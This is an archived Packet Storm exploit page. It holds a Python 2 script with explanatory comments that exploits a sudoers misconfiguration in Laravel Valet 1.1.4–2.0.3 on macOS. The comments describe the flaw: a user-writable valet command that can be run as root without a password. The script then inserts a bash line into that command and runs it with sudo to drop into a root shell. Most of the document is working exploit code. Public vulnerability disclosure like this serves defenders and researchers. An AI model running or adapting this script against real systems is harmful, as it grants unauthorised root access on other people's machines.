Lucene search

K
packetstormLeonjzaPACKETSTORM:165276
HistoryDec 14, 2021 - 12:00 a.m.

Laravel Valet 2.0.3 Privilege Escalation

2021-12-1400:00:00
leonjza
packetstormsecurity.com
211
`# Exploit Title: Laravel Valet 2.0.3 - Local Privilege Escalation (macOS)  
# Exploit Author: leonjza  
# Vendor Homepage: https://laravel.com/docs/8.x/valet  
# Version: v1.1.4 to v2.0.3  
  
#!/usr/bin/env python2  
  
# Laravel Valet v1.1.4 - 2.0.3 Local Privilege Escalation (macOS)  
# February 2017 - @leonjza  
  
# Affected versions: At least since ~v1.1.4 to v2.0.3. Yikes.  
# Reintroduced in v2.0.7 via the 'trust' command again.  
  
# This bug got introduced when the sudoers files got added around  
# commit b22c60dacab55ffe2dc4585bc88cd58623ec1f40 [1].  
  
# Effectively, when the valet command is installed, composer will symlink [2]  
# the `valet` command to /usr/local/bin. This 'command' is writable by the user  
# that installed it.  
#  
# ~ $ ls -lah $(which valet)  
# lrwxr-xr-x 1 leonjza admin 51B Feb 25 00:09 /usr/local/bin/valet -> /Users/leonjza/.composer/vendor/laravel/valet/valet  
  
# Running `valet install`, will start the install [3] routine. The very first action  
# taken is to stop nginx (quietly?) [4], but runs the command with `sudo` which  
# will prompt the user for the sudo password in the command line. From here (and in fact  
# from any point where the valet tool uses sudo) the command can execute further commands  
# as root without any further interaction needed by the user.  
# With this 'sudo' access, the installer does it thing, and eventually installs two new  
# sudoers rules for homebrew[5] and valet[6].  
  
# ~ $ cat /etc/sudoers.d/*  
# Cmnd_Alias BREW = /usr/local/bin/brew *  
# %admin ALL=(root) NOPASSWD: BREW  
# Cmnd_Alias VALET = /usr/local/bin/valet *  
# %admin ALL=(root) NOPASSWD: VALET  
  
# The problem with the sudoers rules now is the fact that a user controlled script  
# (rememeber the valet command is writable to my user?) is allowed to be run with  
# root privileges. More conveniently, without a password. So, to trivially privesc  
# using this flaw, simply edit the `valet` command and drop `/bin/bash` in there. :D  
  
# Or, use this lame script you lazy sod.  
#  
# ~ $ sudo -k  
# ~ $ python escalate.py  
# * Shell written. Dropping into root shell  
# bash-3.2# whoami  
# root  
# bash-3.2# exit  
# exit  
# * Cleaning up POC from valet command  
  
# [1] https://github.com/laravel/valet/commit/b22c60dacab55ffe2dc4585bc88cd58623ec1f40  
# [2] https://github.com/laravel/valet/blob/v2.0.3/composer.json#L39  
# [3] https://github.com/laravel/valet/blob/v2.0.3/cli/valet.php#L37-L50  
# [4] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Nginx.php#L133  
# [5] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Brew.php#L171-L177  
# [6] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Valet.php#L40-L46  
  
import os  
import subprocess  
  
MIN_VERSION = "1.1.4"  
MAX_VERSION = "2.0.3"  
POC = "/bin/bash; exit;\n"  
  
  
def run_shit_get_output(shit_to_run):  
return subprocess.Popen(shit_to_run, shell=True,  
stderr=subprocess.PIPE, stdout=subprocess.PIPE)  
  
  
def version_tuple(v):  
return tuple(map(int, (v.split("."))))  
  
  
def get_valet():  
p = run_shit_get_output('which valet')  
lines = ''.join(p.stdout.readlines())  
  
if 'bin/valet' in lines:  
return lines.strip()  
  
return None  
  
  
def get_valet_version(valet_location):  
p = run_shit_get_output(valet_location)  
v = p.stdout.read(25)  
  
return v.split("\n")[0].split(" ")[2]  
  
  
def can_write_to_valet(valet_location):  
return os.access(valet_location, os.W_OK)  
  
  
def cleanup_poc_from_command(command_location):  
with open(command_location, 'r') as vc:  
command_contents = vc.readlines()  
  
if command_contents[1] == POC:  
print('* Cleaning up POC from valet command')  
command_contents.pop(1)  
with open(command_location, 'w') as vc:  
vc.write(''.join(command_contents))  
  
return  
  
print('* Could not cleanup the valet command. Check it out manually!')  
return  
  
  
def main():  
valet_command = get_valet()  
  
if not valet_command:  
print(' * The valet command could not be found. Bailing!')  
return  
  
# get the content so we can check if we already pwnd it  
with open(valet_command, 'r') as vc:  
command_contents = vc.readlines()  
  
# check that we havent already popped this thing  
if command_contents[1] == POC:  
print('* Looks like you already pwnd this. Dropping into shell anyways.')  
os.system('sudo ' + valet_command)  
cleanup_poc_from_command(valet_command)  
return  
  
current_version = get_valet_version(valet_command)  
  
# ensure we have a valid, exploitable version  
if not (version_tuple(current_version) >= version_tuple(MIN_VERSION)) \  
or not (version_tuple(current_version) <= version_tuple(MAX_VERSION)):  
print(' * Valet version {0} does not have this bug!'.format(current_version))  
return  
  
# check that we can write  
if not can_write_to_valet(valet_command):  
print('* Cant write to valet command at {0}. Bailing!'.format(valet_command))  
return  
  
# drop the poc line and write the new one  
command_contents.insert(1, POC)  
with open(valet_command, 'w') as vc:  
vc.write(''.join(command_contents))  
  
print('* Shell written. Dropping into root shell')  
  
# drop in the root shell :D  
os.system('sudo ' + valet_command)  
cleanup_poc_from_command(valet_command)  
  
  
if __name__ == '__main__':  
main()  
  
`